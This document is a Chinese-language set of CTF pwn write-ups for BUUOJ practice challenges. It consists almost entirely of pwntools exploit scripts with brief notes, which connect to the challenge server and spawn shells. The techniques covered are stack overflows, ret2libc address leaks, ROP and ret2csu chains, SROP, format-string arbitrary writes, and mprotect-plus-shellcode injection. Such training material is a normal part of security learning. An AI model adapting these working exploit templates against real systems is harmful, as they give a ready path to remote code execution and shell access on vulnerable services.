EXP
from pwn import *
#sh = process("./pwn1")
sh = remote("node3.buuoj.cn",29918)
payload = "a"*23
payload +=p64(0x0000000000401198)+p64(0x0000000000401186)
#sh.recvuntil("put\n")
sleep(2)
sh.sendline(payload)
sh.interactive()
这里有点不太明白,为什么直接将
rip
指向0x401186
就不可以
sub_40060d
的函数可以直接查看flag,控制eip指向这个函数即可EXP
from pwn import *
sh = process("./warmup_csaw_2016")
sh = remote("node3.buuoj.cn",27439)
payload = "a"*72
cat = 0x40060D
sleep(2)
sh.sendline(payload+p64(cat))
sh.interactive()
控制EIP指向代码段
0x3c+4
的大小
0x3c+4
/3
=21
,只要输入21个“I”在加上随便一个字符串,就可以造成溢出。
EXP
from pwn import *
sh = process("./pwn1_sctf_2016")
sh = remote("node3.buuoj.cn",25401)
payload = "I"*21+"a"+p32(0x08048F0D)
sh.sendline(payload)
sh.interactive()
要先绕过字符转换机制
11.28125
即可
11.28125
,可以在IDA里先看一下源程序是怎么表达这个浮点数的
EXP
from pwn import *
sh = process("./ciscn_2019_n_1")
sh = remote("node3.buuoj.cn",27561)
payload = "a"*(0x2c)+p64(0x41348000)
sleep(1)
sh.sendline(payload)
sh.interactive()
数据覆盖
get(s)
这里。
EXP
from pwn import *
sh = process("./ciscn_2019_c_1")
sh = remote("node3.buuoj.cn",26460)
elf = ELF("./ciscn_2019_c_1")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'
rdi_ret = 0x400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
gdb.attach(sh)
sh.sendline(payload)
#数据接收这里也是踩了好多的坑才接受到,还要多练习
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()
payload = padding
payload += p64(ret) #因为远程服务器版本的问题,这里要填上ret来保持栈平衡
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
\x00
截断strlen(),以及不同环境的栈对齐
buf
上,之后进入sub_804871F并将buf带入函数中传给s
,读取用户输入到buf上
\x00
来截断strncmp的比较,然后跟上较大的值如\xff
,当程序到sub_80487d0函数中时,就可以构造ROP链进行溢出了
EXP
from pwn import *
context.log_level='debug'
sh = process("./babyrop")
sh = remote("node3.buuoj.cn",27886)
elf = ELF("./babyrop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("./libc6-i386_2.23-0ubuntu11_amd64.so")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
start_addr = 0x080485A0
sleep(1)
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(puts_plt)+p32(start_addr)+p32(puts_got)
#sh.recvuntil("Correct\n")
sh.sendline(payload)
sh.recvline()
puts_addr = u32(sh.recv(4))
success("puts:0x%x",puts_addr)
base_addr = puts_addr - libc.sym["puts"]
success("base:0x%x",base_addr)
system = base_addr + libc.sym["system"]
binsh = base_addr + libc.search("/bin/sh").next()
sh.recvline()
sh.sendline("\x00"+"\xff\xff\xff\xff\xff\xff\xff")
sleep(1)
payload = "a"*(0xe7+4)
payload += p32(system)+p32(start_addr)+p32(binsh)
#sh.recvuntil("Correct\n")
sh.sendline(payload)
sh.interactive()
\x00
截断strncmp()
EXP
from pwn import *
sh = process("./ciscn_2019_en_2")
sh = remote("node3.buuoj.cn",25303)
elf = ELF("./ciscn_2019_en_2")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.terminal = ['tmux',"splitw","h"]
context.log_level = 'debug'
rdi_ret = 0x0000000000400c83
ret = 0x4006b9
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols['main']
padding = "a"+'\x00'+86*"b"
#padding = 88*"b"
payload = padding
payload += p64(rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
puts_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success('puts_addr = ' + hex(puts_addr))
base_addr = puts_addr - libc.sym['puts']
log.success('base_addr = ' + hex(base_addr))
system_addr = base_addr + libc.sym['system']
binsh_addr = base_addr + libc.search("/bin/sh\x00").next()
payload = padding
payload += p64(ret)
payload += p64(rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(main_addr)
sh.recvuntil('Input your choice!')
sh.sendline('1')
sh.recvuntil("Input your Plaintext to be encrypted")
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
*0x080489b8*
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",26384)
elf = ELF("./get_started_3dsctf_2016")
a1 = 814536271
a2 = 425138641
get_flag = elf.sym["get_flag"]
main = elf.sym["main"]
openf = elf.sym["fopen"]
padding = 56*"a"
payload = padding+p32(get_flag)+p32(0x08048196)+p32(main)+p32(a1)+p32(a2)
#payload = padding + p32(0x080489b8)
#sh.recvuntil("Qual a palavrinha magica? ")
gdb.attach(sh)
sh.sendline(payload)
#sh.recv()[26:]
sh.interactive()
控制EIP指向某函数传值。但是在打远程的时候出了点问题,暂时找不到解决的办法
unk_804c044
,然后读取name到buf
,读取passwd到nptr
,最后拿nptr和先前生成的随机数判断是否相同。
1
写进去,然后再输入passwd时,传入1
即可
EXP
from pwn import *
sh = process("./pwn5")
sh = remote("node3.buuoj.cn",28799)
sleep(1)
payload = fmtstr_payload(10,{0x804C044:0x1})
sh.sendline(payload)
sh.recvuntil("passwd:")
sh.sendline("1")
sh.interactive()
格式化字符串漏洞,任意地址写
17
即可,而var的类型又是qword
占4字节,所以可以用P32()
来直接填充
EXP
from pwn import *
sh = process("./ciscn_2019_n_8")
sh = remote("node3.buuoj.cn",28898)
sleep(1)
payload = p32(17)*14
sh.sendline(payload)
sh.interactive()
填充
QWORD
类型的数据
以该地址
-read参数在栈中的偏移量
就可以得出binsh的地址了。(具体偏移量在gdb中调试)
SigreturnFrame()
框架来伪造Signal Frame
,最后形成syscall(0x3b,"/bin/sh",0,0)
的一条系统调用指令
EXP
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64',os='linux',log_level='debug',terminal=["tmux","splitw","-h"])
sh = process('./ciscn_s_3')
#p = remote('node3.buuoj.cn',29246)
sigreturn = 0x4004DA #sigreturn,在程序中gadgets函数中找到
read_write = 0x4004F1 #第一次溢出时返回到此处,以便接收后续的输入
syscall = 0x400517 #syscall;ret 地址
payload = '/bin/sh\x00' + 'a'*0x8 + p64(read_write)
sh.send(payload)
sh_addr = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))- 0x118
log.success('stack_addr: ' + hex(sh_addr+0x118))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = sh_addr-0x118
frame.rip = syscall
payload = 'a'*0x10+p64(sigreturn)+p64(syscall)+str(frame)
sh.send(payload)
sh.interactive()
flag.txt
的值传到fl4g
中
write
函数,读取fl4g
中的flag
EXP
from pwn import *
context.terminal=["tmux","splitw","-h"]
context.log_level="debug"
sh=process("./not_the_same_3dsctf_2016")
sh=remote("node3.buuoj.cn",29401)
elf = ELF("./not_the_same_3dsctf_2016")
get_shell = elf.sym["get_secret"]
write = elf.sym['write']
main = elf.sym['main']
payload = "a"*45
payload += p32(get_shell)+p32(main)
sleep(1)
#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
payload = "a"*45
payload += p32(write)+p32(main)+p32(1)+p32(0x80eca2d)+p32(45)
sh.sendline(payload)
sh.interactive()
控制程序读取flag.txt,利用write函数再读取
system
函数和binsh
字符串再程序中都有,再找一下pop rdi;ret
代码段即可
find / -name flag
查找一下就可以了
EXP
from pwn import *
sh=process("./babyrop_harekazeCTF")
sh = remote("node3.buuoj.cn",29606)
elf = ELF("./babyrop_harekazeCTF")
system = elf.sym["system"]
binsh = 0x0000000000601048 #ROPgadget --binary ./babyrop_harekazeCTF --string "/bin/sh"
rdi_ret = 0x0000000000400683
payload = "a"*24+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.sendline(payload)
sh.interactive()
from pwn import *
context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
sh=process("./babyrop2_harekazeCTF")
sh = remote("node3.buuoj.cn",28808)
elf = ELF("./babyrop2_harekazeCTF")
libc = ELF("libc/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
printf_plt = elf.plt["printf"]
read_got = elf.got["read"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
payload = "a"*40
payload +=p64(rdi_ret)+p64(read_got)+p64(printf_plt)+p64(main)
sh.sendlineafter("? ",payload)
base_addr = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.sym["read"]
success("base_addr:0x%x",base_addr)
system = base_addr+libc.sym["system"]
binsh = base_addr+libc.search("/bin/sh").next()
payload = "b"*40
payload += p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.sendline(payload)
sh.interactive()
使用
printf
函数泄露read函数的got表,但不可以泄露printf的got表
EXP
from pwn import *
sh =process("./tie3_2018_rop")
sh = remote("node3.buuoj.cn",25832)
elf = ELF("./tie3_2018_rop")
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
libc = ELF("libc/libc6-i386_2.27-3ubuntu1_amd64 (1).so")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = 0x080484C6
payload = "a"*140+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload)
write = u32(sh.recv(4))
base = write-libc.sym["write"]
success("wrtie:0x%x",write)
success("base:0x%x",base)
sleep(1)
system = base+libc.sym["system"]
binsh = base+libc.search("/bin/sh").next()
payload = "a"*140+p32(system)+p32(main)+p32(binsh)
sh.sendline(payload)
sh.interactive()
EXP
#coding:utf-8
from pwn import *
#sh = process("./bjdctf_2020_babystack")
sh = remote("node3.buuoj.cn",29848)
payload = "a"*24
payload += p64(0x00000000004006E6)
sh.recvuntil("[+]Please input the length of your name:")
sh.sendline("300")
sh.recvuntil("[+]What's u name?")
sh.sendline(payload)
sh.interactive()
EXP
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./bjdctf_2020_babyrop")
elf = ELF("./bjdctf_2020_babyrop")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.sym["main"]
rdi_ret = 0x0000000000400733
sh = remote("node3.buuoj.cn",28316)
payload1 = "a"*40
payload1 += p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload1)
puts = u64(sh.recvuntil('\x7f')[-6:].ljust(8,"\x00"))
success("puts_addr:0x%x",puts)
base_addr = puts-libc.symbols["puts"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*40+p64(rdi_ret)+p64(binsh)+p64(system)+p64(main)
sh.recvuntil("story!\n")
sh.sendline(payload2)
sh.interactive()
EXP
from pwn import *
sh = process("./jarvisoj_level0")
sh = remote("node3.buuoj.cn",27530)
binsh = 0x000000000040059A
payload = "a"*0x88+p64(binsh)
sh.sendline(payload)
sh.interactive()
recvuntil
来接收buf的地址EXP
#coding:utf-8
from pwn import *
sh = process("./jarvisoj_level1")
#sh = remote("node3.buuoj.cn",26460)
#sh.sendline("aaa")
buf = int(sh.recvuntil("?\n")[-10:-2],16)
shellcode = asm(shellcraft.sh())+"\x00"
print hex(buf)
print shellcode
payload = shellcode.ljust(140,"a")+p32(buf)
sh.sendline(payload)
sh.interactive()
另外不清楚为什么本地和远程的题目不一样…..也就是说我拿不了flag…..
system("/bin/sh")
这样完整的代码片段了,但是可以拼接一下/bin/sh
字符串 然后再利用再IDA中找到的call system
的地址EXP
from pwn import *
sh = process("./jarvisoj_level2")
sh = remote("node3.buuoj.cn",26529)
binsh = 0x0804a024
system = 0x0804849E
payload = "a"*0x88+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()
##jarvisoj_level2_x64
pop rdi;ret
片段来保持栈平衡EXP
from pwn import *
sh = process("./jarvisoj_level2_x64")
sh = remote("node3.buuoj.cn",25463)
binsh = 0x0000000000600a90
system = 0x000000000040063E
rdi_ret = 0x00000000004006b3
payload = "a"*0x88+p64(rdi_ret)+p64(binsh)+p64(system)+p64(system)
sh.recvuntil("Input:\n")
sh.sendline(payload)
sh.interactive()
#coding:utf-8
from pwn import *
sh = process('./fm')
sh = remote("node3.buuoj.cn",28272)
x = 0x0804A02C
payload = fmtstr_payload(11,{x:0x4})
sh.sendline(payload)
sh.interactive()
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./level3")
elf = ELF("./level3")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",29644)
payload1 = "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.recvuntil("Input:\n")
sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sh.recvuntil("Input:\n")
sh.sendline(payload2)
sh.interactive()
rdi\rsi\rdx
三个代码片段ret2csu
的办法来泄露函数地址ret2csu
第一段gadgets的顺序EXP
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level3_x64")
elf = ELF("./jarvisoj_level3_x64")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26767)
gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690
def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*0x88
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)#参数3
payload += p64(r14)#参数2
payload += p64(r13)#参数1
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)
write_addr=u64(sh.recv(8))
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)
sh.recvuntil("Input:\n")
sh.send(p64(execve_addr)+'/bin/sh\x00')
print "bss_addr:",hex(bss_addr)
sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
sh = process("./jarvisoj_level4")
elf = ELF("./jarvisoj_level4")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6-i386_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",25463)
payload1 = "a"*140
payload1 += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload1)
write = u32(sh.recvuntil('\xf7')[-4:])
success("write_addr:0x%x",write)
base_addr = write-libc.symbols["write"]
success("base_addr:0x%x",base_addr)
system = libc.sym["system"]+base_addr
binsh = libc.search("/bin/sh\x00").next()+base_addr
payload2 = "a"*140+p32(system)+p32(system)+p32(binsh)
sleep(1)
sh.sendline(payload2)
sh.interactive()
cat flag
的地址程序也直接给出来了#coding:utf-8
from pwn import *
sh = process("./jarvisoj_memory")
sh = remote("node3.buuoj.cn",26542)
payload = (0x13+4)*"a"
payload += p32(0x08048440)+p32(0x08048440)+p32(0x80487e0)
sh.sendline(payload)
sh.interactive()
EXP
#coding:utf-8
from pwn import *
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
#sh = process("./jarvisoj_level5")
elf = ELF("./jarvisoj_level5")
libc = ELF("/home/da1sy/Documents/tools/libc-database/libs/libc6_2.23-0ubuntu10_amd64/libc.so.6")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main = elf.sym["main"]
sh = remote("node3.buuoj.cn",26305)
gadget1 = 0x00000000004006A6
gadget2 = 0x0000000000400690
def csu(r12,r13,r14,r15,ret_addr):
payload = "a"*0x88
payload += p64(gadget1)
payload += 'b'*8
payload += p64(0)
payload += p64(1)
payload += p64(r12)
payload += p64(r15)#参数1
payload += p64(r14)#参数2
payload += p64(r13)#参数3
payload += p64(gadget2)
payload += 'c' * 0x38
payload += p64(ret_addr)
sh.sendline(payload)
sh.recvuntil("Input:\n")
csu(write_got,1,write_got,8,main)
write_addr=u64(sh.recv(8))
print hex(write_addr)
offset_addr = write_addr-libc.symbols['write']
print hex(offset_addr)
execve_addr = offset_addr + libc.symbols['execve']
print hex(execve_addr)
read_addr = elf.got['read']
bss_addr = elf.bss()
csu(read_addr,0,bss_addr,16,main)
sh.recvuntil("Input:\n")
#gdb.attach(sh)
sh.send(p64(execve_addr)+'/bin/sh\x00')
print "bss_addr:",hex(bss_addr)
sh.recvuntil("Input:\n")
csu(bss_addr,bss_addr+8,0,0,main)
sh.interactive()
win_function1
->win_function2
->0x0BAAAAAAD
->flag
->0x0DEADBAAD
EXP
from pwn import *
sh = process("./PicoCTF_2018_rop_chain")
sh = remote("node3.buuoj.cn",29030)
elf = ELF("./PicoCTF_2018_rop_chain")
payload = "a"*(0x18+4)+p32(elf.sym["win_function1"])+p32(elf.sym["win_function2"])+p32(elf.sym["flag"])+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
sh.sendline(payload)
sh.interactive()
EXP
./vuln aaaabaaacaaadaaaeaaafaaagaaa\x80\xa0\x04
exec 1>&0
把stdout
重定向到stdin
就返回shell了。EXP
from pwn import*
p = remote("node3.buuoj.cn",28568)
p.sendline("exec 1>&0")
p.interactive()
system("sh")
也可以返回shell
buf
空间的问题,28个字符后才可以控制程序执行,而buf
缺只能输入36个字符
call system
然后再加上sh
刚好8位
from pwn import*
sh = process('./wustctf2020_getshell_2')
sh = remote("node3.buuoj.cn",28459)
#elf = ELF('./wustctf2020_getshell_2')
system_call = 0x08048529
payload = 'a'*28 + p32(system_call)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()
可以看到只开启了nx保护
这里有两个常见的方法来获取flag
方法1:
使用程序中已有的get_flag函数来读取flag
使用ida查看伪代码可以看到这个get_flag函数要求传入的两个参数必须为814536271
和425138641
即可直接读取flag
这里需要注意一点,构造payload时返回地址不可以随便填写,因为在打远程时导致程序异常是不会给回显的,想要看到flag必须先要让程序正常退出,这里使用exit
函数
#coding:utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]
#sh = process("./get_started_3dsctf_2016")
sh = remote("node3.buuoj.cn",26236)
elf = ELF("./get_started_3dsctf_2016")
a1 = 814536271
a2 = 425138641
get_flag = elf.sym["get_flag"]
main = elf.sym["exit"]
padding = 56*"a"
payload = padding+p32(get_flag)+p32(main)+p32(a1)+p32(a2)
#gdb.attach(sh)
sleep(1)
sh.sendline(payload)
sh.interactive()
方法2:
使用mprotect函数修改bss段权限来执行shellcode
使用gdb中的vmmap先来看一下bss段的权限
确定好溢出位后payload布局如下
mprotect函数
+pop *;ret
+参数1\2\3
+返回地址[read函数]
+pop *;ret
+参数1\2\3
+返回地址[shellcode_addr]
也就是先使用mprotect来修改指定bss段地址的权限,在利用pop esi;pop edi;pop ebp;ret
来返回到指定地址如read函数上以读取shellcode到以修改权限的bss段地址上,最后再次利用pop esi;pop edi;pop ebp;ret
片段返回到shellcode的位置上即可。
EXP
from pwn import *
p=process('./get_started_3dsctf_2016')
#p=remote('node3.buuoj.cn',28216)
elf=ELF('./get_started_3dsctf_2016')
context.terminal = ["tmux","splitw","-h"]
context.log_level = "debug"
bss_addr = 0x80eb000
shellcode_addr = 0x080EB500
pop_3_ret=0x080483b8 #pop esi;pop edi;pop ebp;ret
payload='a'*0x38
payload += p32(elf.symbols['mprotect'])
payload += p32(pop_3_ret)
payload += p32(bss_addr)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop_3_ret)
payload += p32(0)
payload += p32(shellcode_addr)
payload += p32(0x100)
payload += p32(shellcode_addr)
p.sendline(payload)
sleep(1)
payload=asm(shellcraft.sh())
#gdb.attach(p)
p.sendline(payload)
p.interactive()